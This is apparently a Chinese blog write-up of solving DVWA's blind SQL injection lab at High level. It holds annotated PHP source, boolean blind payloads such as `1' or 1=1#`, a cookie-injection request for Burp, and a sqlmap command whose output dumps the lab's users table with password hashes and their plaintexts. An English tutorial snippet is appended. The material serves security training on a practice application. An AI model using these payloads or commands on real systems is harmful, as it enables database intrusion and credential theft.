DVWA靶场通关笔记-SQL盲注(SQL Injection Blind High级别)

目录

一、SQL盲注

二、代码审计(High级别)

1、index.php

2、High.php

3、渗透思路

(1)SQL安全问题分析

(2)SQL渗透思路

三、渗透准备

1、配置security为低等High级别。

2、配置字符集一致

四、渗透实战

1、判断注入类型

2、sqlmap渗透测试

(1)bp抓包

(2)sqlmap渗透


DVWA(Damn Vulnerable Web Application)中的 SQL Injection(Blind)布尔盲注关卡是用于练习和演示 SQL 盲注攻击的不同场景,不同安全等级存在不同的脆弱点和绕过方法,本小节对高等级别的关卡进行渗透实战。

一、SQL盲注

SQL 盲注是 SQL 注入攻击的一种特殊形式,当应用程序执行 SQL 查询后不返回具体数据,但会通过页面显示状态差异(如返回内容是否存在、响应时间长短)间接暴露一些信息。攻击者无法直接看到查询结果,需通过构造包含逻辑条件(如AND/OR)或时间延迟(如sleep()函数)的SQL语句,逐次枚举来推断数据库内容。以布尔盲注为例,手工渗透步骤如下所示。

步骤描述示例
验证注入点构造特殊输入,根据返回结果判断是否存在注入点

输入:id=1 or 1=1#,预期返回成功信息;

输入:id=1 or 1=2#,预期返回失败信息

枚举数据库名长度通过比较数据库名长度来确定具体长度id=1 and length(database())=8 #(假设数据库名长度为 8)
枚举数据库名逐字符猜测数据库名

id=1 and substr(database(),1,1)='d' #

(猜测数据库名第一个字符为 'd')

枚举表名判断指定表名是否存在id=1 AND EXISTS(SELECT * FROM information_schema.tables WHERE table_name='users' ) #(判断是否存在名为 'users' 的表)
枚举列名判断指定列名是否存在

id=1 AND EXISTS(SELECT username FROM users) #

(判断 'users' 表中是否存在 'username' 列)

枚举数据逐字符猜测元素的值

id=1 AND substr((SELECT username FROM users LIMIT 0,1),1,1)='a' #

(猜测 'users' 表中第一条记录的 'username' 列第一个字符为 'a')

二、代码审计(High级别)

1、index.php

进入DVWA靶场源目录,找到index.php源码。

这段 PHP 代码是 Damn Vulnerable Web Application (DVWA) 中 SQL盲注演示页面的主控制器,根据用户设置的安全级别(低 / 中 / 高 / 安全)加载不同级别安全成都程度的代码,通过表单让用户输入或选择用户 ID,动态生成页面并展示查询结果,同时检测 PHP 不安全配置并提供 SQL 注入学习资源链接,用于演示不同防护等级下的盲注攻击场景及防御方式。

经过注释后的详细代码如下所示。

<?php
// 定义网站根目录路径常量,用于后续文件引用
define( 'DVWA_WEB_PAGE_TO_ROOT', '../../' );
// 引入DVWA页面基础功能库
require_once DVWA_WEB_PAGE_TO_ROOT . 'dvwa/includes/dvwaPage.inc.php';

// 启动页面,验证用户是否已认证并初始化PHPIDS(入侵检测系统)
dvwaPageStartup( array( 'authenticated', 'phpids' ) );

// 创建新页面实例
$page = dvwaPageNewGrab();
// 设置页面标题
$page[ 'title' ]   = 'Vulnerability: SQL Injection (Blind)' . $page[ 'title_separator' ].$page[ 'title' ];
// 设置页面ID,用于导航和标识
$page[ 'page_id' ] = 'sqli_blind';
// 添加帮助按钮和源代码按钮
$page[ 'help_button' ]   = 'sqli_blind';
$page[ 'source_button' ] = 'sqli_blind';

// 连接数据库
dvwaDatabaseConnect();

// 设置HTTP请求方法(默认为GET)
$method            = 'GET';
// 初始化不同安全级别对应的源文件
$vulnerabilityFile = '';

// 根据安全级别Cookie值选择不同的实现文件
switch( $_COOKIE[ 'security' ] ) {
	case 'low':
		// 低安全级别:存在明显SQL注入安全风险
		$vulnerabilityFile = 'low.php';
		break;
	case 'medium':
		// 中安全级别:部分防御措施,使用POST方法和下拉菜单
		$vulnerabilityFile = 'medium.php';
		$method = 'POST';
		break;
	case 'high':
		// 高安全级别:增强防御,但仍可能存在安全风险
		$vulnerabilityFile = 'high.php';
		break;
	default:
		// 安全模式:使用预处理语句,理论上无SQL注入风险
		$vulnerabilityFile = 'impossible.php';
		break;
}

// 引入选定的实现文件
require_once DVWA_WEB_PAGE_TO_ROOT . "vulnerabilities/sqli_blind/source/{$vulnerabilityFile}";

// 检查PHP配置中的安全风险
$WarningHtml = '';
// 检测Magic Quotes是否启用(已弃用的安全机制)
if( ini_get( 'magic_quotes_gpc' ) == true ) {
	$WarningHtml .= "<div class=\"warning\">The PHP function \"<em>Magic Quotes</em>\" is enabled.</div>";
}
// 检测Safe Mode是否启用(已弃用的安全机制)
if( ini_get( 'safe_mode' ) == true ) {
	$WarningHtml .= "<div class=\"warning\">The PHP function \"<em>Safe mode</em>\" is enabled.</div>";
}

// 构建页面主体内容
$page[ 'body' ] .= "
<div class=\"body_padded\">
	<h1>Vulnerability: SQL Injection (Blind)</h1>

	{$WarningHtml}

	<div class=\"vulnerable_code_area\">";

// 根据不同安全级别显示不同的用户交互界面
if( $vulnerabilityFile == 'high.php' ) {
	// 高级别安全:通过JavaScript弹窗设置用户ID
	$page[ 'body' ] .= "Click <a href=\"#\" onclick=\"javascript:popUp('cookie-input.php');return false;\">here to change your ID</a>.";
}
else {
	// 低、中级别安全:显示表单让用户输入ID
	$page[ 'body' ] .= "
		<form action=\"#\" method=\"{$method}\">
			<p>
				User ID:";
				
	// 中级别安全:使用下拉菜单限制用户选择范围
	if( $vulnerabilityFile == 'medium.php' ) {
		$page[ 'body' ] .= "\n				<select name=\"id\">";
		// 查询用户数量用于生成下拉选项
		$query  = "SELECT COUNT(*) FROM users;";
		$result = mysqli_query($GLOBALS["___mysqli_ston"],  $query ) or die( '<pre>' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '</pre>' );
		$num    = mysqli_fetch_row( $result )[0];
		$i      = 0;
		// 动态生成下拉选项(1到用户总数)
		while( $i < $num ) { $i++; $page[ 'body' ] .= "<option value=\"{$i}\">{$i}</option>"; }
		$page[ 'body' ] .= "</select>";
	}
	else
		// 低级别安全:允许用户自由输入
		$page[ 'body' ] .= "\n				<input type=\"text\" size=\"15\" name=\"id\">";

	$page[ 'body' ] .= "\n				<input type=\"submit\" name=\"Submit\" value=\"Submit\">
			</p>\n";

	// 安全模式:添加CSRF防护令牌
	if( $vulnerabilityFile == 'impossible.php' )
		$page[ 'body' ] .= "			" . tokenField();

	$page[ 'body' ] .= "
		</form>";
}

// 显示查询结果(由引入include的指定文件生成)
$page[ 'body' ] .= "
		{$html}
	</div>

	<h2>More Information</h2>
	<ul>
		// 提供SQL注入相关的参考链接
		<li>" . dvwaExternalLinkUrlGet( 'http://www.securiteam.com/securityreviews/5DP0N1P76E.html' ) . "</li>
		<li>" . dvwaExternalLinkUrlGet( 'https://en.wikipedia.org/wiki/SQL_injection' ) . "</li>
		<li>" . dvwaExternalLinkUrlGet( 'http://ferruh.mavituna.com/sql-injection-cheatsheet-oku/' ) . "</li>
		<li>" . dvwaExternalLinkUrlGet( 'http://pentestmonkey.net/cheat-sheet/sql-injection/mysql-sql-injection-cheat-sheet' ) . "</li>
		<li>" . dvwaExternalLinkUrlGet( 'https://www.owasp.org/index.php/Blind_SQL_Injection' ) . "</li>
		<li>" . dvwaExternalLinkUrlGet( 'http://bobby-tables.com/' ) . "</li>
	</ul>
</div>\n";

// 输出最终HTML页面
dvwaHtmlEcho( $page );

?>

2、High.php

进入DVWA靶场源目录,找到High.php源码,具体如下所示。

打开源码low.php,分析可知这段代码实现了用户 ID 验证功能,如下所示。 

对比low关卡,最主要的区别是注入点变为了cookie方式传入,源码对比如下所示。

high.php代码的功能如下所示。

  • 检查是否通过 POST 方法提交了表单。
  • 从 POST 参数中获取用户输入的 ID,并使用mysqli_real_escape_string函数进行转义处理。
  • 构建 SQL 查询语句,将转义后的用户输入 ID 拼接到 SQL 中,查询users表中是否存在该用户 ID。
  • 执行 SQL 查询,并获取查询结果的行数。
  • 根据查询结果行数判断用户是否存在,并返回相应的反馈信息。

不过代码具有SQL注入风险,具体如下所示。

  • 虽然使用了mysqli_real_escape_string函数对用户输入进行转义处理,但这种转义并非万无一失。如果攻击者能够绕过转义机制,仍然可以构造恶意的 SQL 语句。
  • 代码中没有对用户输入进行严格的格式验证,例如限制输入必须为数字等。这使得攻击者有可能输入非数字字符,从而导致 SQL 注入安全风险。

详细注释后的代码如下所示。

<?php
// 检查是否存在名为'id'的Cookie
if( isset( $_COOKIE[ 'id' ] ) ) {
    // 从Cookie中获取用户ID
    $id = $_COOKIE[ 'id' ];

    // 构造SQL查询语句,直接将Cookie中的ID拼接到SQL字符串中(单引号包裹)
    $getid  = "SELECT first_name, last_name FROM users WHERE user_id = '$id' LIMIT 1;";
    // 执行SQL查询,移除'or die'以隐藏数据库错误信息
    $result = mysqli_query($GLOBALS["___mysqli_ston"],  $getid );

    // 获取查询结果行数,@符号抑制可能的错误提示
    $num = @mysqli_num_rows( $result );

    if( $num > 0 ) {
        // 用户存在时返回固定提示
        $html .= '<pre>User ID exists in the database.</pre>';
    } else {
        // 随机睡眠2-4秒(概率20%),增加时间盲注难度
        if( rand( 0, 5 ) == 3 ) {
            sleep( rand( 2, 4 ) );
        }
        // 返回404状态码和用户不存在提示
        header( $_SERVER[ 'SERVER_PROTOCOL' ] . ' 404 Not Found' );
        $html .= '<pre>User ID is MISSING from the database.</pre>';
    }

    // 关闭数据库连接
    ((is_null($___mysqli_res = mysqli_close($GLOBALS["___mysqli_ston"]))) ? false : $___mysqli_res);
}
?>

3、渗透思路

(1)SQL安全问题分析

本关卡具有布尔注入的可能性,原因如下所示。

  • 未对 Cookie 输入进行过滤 / 转义
    • 直接将$_COOKIE['id']拼接到 SQL 语句中(单引号包裹),未使用mysqli_real_escape_string等函数转义,导致攻击者可通过闭合单引号构造恶意 SQL
    • 源码中加入了 LIMIT 1,来限制查询更多的数据,但是可以通过使用#注释符号绕过。
  • 基于布尔结果的状态反馈
    • 查询成功时返回固定内容(User ID exists),失败时返回 404 MISSING,形成明确的布尔响应差异,可用于布尔盲注。
  • 可控的时间延迟(部分场景)
    • 未查询到用户时,通过rand()sleep()随机添加延迟(约 20% 概率)。虽增加盲注难度,但攻击者仍可通过大量请求统计规律,利用时间盲注绕过。虽然通过 sleep() 函数来造成查询不到数据时随机延时,从而扰乱基于延时的 SQL 盲注,不使用时间盲注,还是可以使用布尔型注入方法。

(2)SQL渗透思路

原始SQL语句:SELECT first_name, last_name FROM users WHERE user_id = '$id' LIMIT 1;

注入语句:输入1' OR 1=1#会导致 SQL 变为如下内容。

SELECT first_name, last_name FROM users WHERE user_id = '1' OR 1=1#' LIMIT 1由于1=1恒为真,且#注释掉后面的单引号 limit1,该查询会返回所有用户记录,是可以查询到记录的情况。

三、渗透准备

1、配置security为High级别。

进入到SQL Injection(Blind)关卡high页面,完整URL地址具体如下所示。

http://192.168.59.1/dvwa/vulnerabilities/sqli/

相对于low关卡可以自主输入id值,medium只能通过下拉框选择固定的几个id值,high关卡则是通过打开如下红框链接后,弹出框内输入id来查询信息。 

2、配置字符集一致

参考SQL注入报错“Illegal mix of collations for operation ‘UNION‘”解决办法-CSDN博客

为避免使用联合注入法时报错“Illegal mix of collations for operation 'UNION'”,修改dvwa数据库user表的first_name与last_name字符集,如下图所示。

修改dvwa数据库user表的password字符集,如下图所示。

四、渗透实战

1、判断注入类型

进入到SQL盲注high关卡,根据源码分析我们知道此关卡使用 cookie 来传递 ID 值,另外输入框和输出内容不在同一页面,具体如下所示。

开启bp拦截,选择参数1,显示“User ID exists in the database.”

由于注入点参数为cookie,为方便渗透,使用burpsuite进行后续渗透,使用bp抓到此报文,发送到repeater。

将报文发送到repeater,如下图所示红色框内为注入点,具体如下所示。

注入点id部分改为1' or 1=1#,没有显示所有列表,而是显示“User ID exists in the database.”。

注入点id部分改为不存在的id,-1,显示“User ID is MISSING from the database”,具体如下所示。

注入点id部分改为-1',这种会导致数据库报错的注入语句,仍然提示“User ID is MISSING from the database”,具体如下所示。

说明这是布尔型注入,正确执行显示“User ID exists in the database.”,错误时显示“User ID is MISSING from the database”,这与源码分析的结果一致。

2、sqlmap渗透测试

(1)bp抓包

由于DVWA需要登录后才能使用,故而不可以直接是用sqlmap直接渗透,bp抓包,找到上一步渗透的报文,右键copy to file,具体如下所示。

将报文另存为sql-high.txt,具体如下所示。

打开sql-high.txt,修改为如下内容,注意在id赋值后面加上'*#,指明注入点的位置。

GET /dvwa/vulnerabilities/sqli_blind/ HTTP/1.1
Host: 192.168.59.1
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:52.0) Gecko/20100101 Firefox/52.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
Referer: http://192.168.59.1/dvwa/security.php
Cookie: id=1'*#; security=high; PHPSESSID=tssqfshe2838kcg5nbkf4464u3
DNT: 1
Connection: close
Upgrade-Insecure-Requests: 1
Pragma: no-cache
Cache-Control: no-cache

(2)sqlmap渗透

注入命令如下所示,注意增加了参数not-string指明查询错误时的关键字。

sqlmap -r sql-high.txt --current-db --batch --dump --technique=B --not-string="MISSING"

渗透结果如下所示,成功获取到user表的所有内容。

[11:17:41] [INFO] checking if the injection point on (custom) HEADER parameter 'Cookie #1*' is a false positive
(custom) HEADER parameter 'Cookie #1*' is vulnerable. Do you want to keep testing the others (if any)? [y/N] N
sqlmap identified the following injection point(s) with a total of 32 HTTP(s) requests:
---
Parameter: Cookie #1* ((custom) HEADER)
    Type: boolean-based blind
    Title: AND boolean-based blind - WHERE or HAVING clause
    Payload: id=1' AND 6092=6092#; security=high; PHPSESSID=tssqfshe2838kcg5nbkf4464u3
--- 
[11:17:41] [INFO] testing MySQL
[11:17:41] [INFO] confirming MySQL
[11:17:41] [INFO] the back-end DBMS is MySQL
web application technology: PHP 5.5.9, Apache 2.4.39
back-end DBMS: MySQL >= 5.0.0
[11:17:41] [INFO] fetching current database
[11:17:41] [INFO] retrieved: dvwa
current database: 'dvwa'
Database: dvwa                                                                                                                                                                                                                            
Table: users
[5 entries]
+---------+---------+-----------------------------+---------------------------------------------+-----------+------------+---------------------+--------------+
| user_id | user    | avatar                      | password                                    | last_name | first_name | last_login          | failed_login |
+---------+---------+-----------------------------+---------------------------------------------+-----------+------------+---------------------+--------------+
| 3       | 1337    | /hackable/users/1337.jpg    | 8d3533d75ae2c3966d7e0d4fcc69216b (charley)  | Me        | Hack       | 2025-05-15 09:56:46 | 0            |
| 1       | admin   | /hackable/users/admin.jpg   | 5f4dcc3b5aa765d61d8327deb882cf99 (password) | admin     | admin      | 2025-05-15 09:56:46 | 0            |
| 2       | gordonb | /hackable/users/gordonb.jpg | e99a18c428cb38d5f260853678922e03 (abc123)   | Brown     | Gordon     | 2025-05-15 09:56:46 | 0            |
| 4       | pablo   | /hackable/users/pablo.jpg   | 0d107d09f5bbe40cade3de5c71e9e9b7 (letmein)  | Picasso   | Pablo      | 2025-05-15 09:56:46 | 0            |
| 5       | smithy  | /hackable/users/smithy.jpg  | 5f4dcc3b5aa765d61d8327deb882cf99 (password) | Smith     | Bob        | 2025-05-15 09:56:46 | 0            |
+---------+---------+-----------------------------+---------------------------------------------+-----------+------------+---------------------+--------------+
### DVWA SQL Blind Injection Medium Level Attack Method Tutorial In the context of DVWA (Damn Vulnerable Web Application), exploiting a SQL blind injection vulnerability at the medium difficulty level involves understanding how to interact with the application and craft specific payloads that can infer database structure or content based on true/false responses. The command provided serves as an example payload used within such attacks, specifically designed to retrieve table names from the current database schema by leveraging conditional logic in queries: ```sql select table_name from information_schema.tables where table_schema=database()[^1] ``` For executing this type of attack against DVWA's SQLi Blind challenge set to 'Medium', one approach is using automated tools like SqlMap which simplifies the process significantly. An invocation might look similar to what has been shared previously: ```bash py3 sqlmap.py -u "http://192.168.123.20/vulnerabilities/sqli_blind/?id=1&Submit=Submit#" --cookie="PHPSESSID=248dmjg65dksvfvf8kk0k7vqj0; security=low" --current-db[^2] ``` This tool automates much of the work involved in detecting vulnerabilities, extracting data through time-based boolean conditions without direct output feedback, and even taking over databases under certain circumstances—all while adhering to user-defined constraints regarding legality and ethics. When performing manual exploitation for educational purposes only, consider crafting custom scripts or modifying existing ones according to your environment setup. The key lies in constructing queries that cause different behaviors depending on whether they evaluate to true or false, allowing inference about underlying structures indirectly via side-channel observations. --related questions-- 1. How does changing the security level affect the effectiveness of SQL injection techniques? 2. What are some common defenses implemented against SQL injections? 3. Can you explain more about Information Schema Tables and their role in discovering database objects during penetration testing? 4. Are there any particular challenges associated with exploiting blind SQL injections compared to error-based methods?
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

mooyuan天天

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值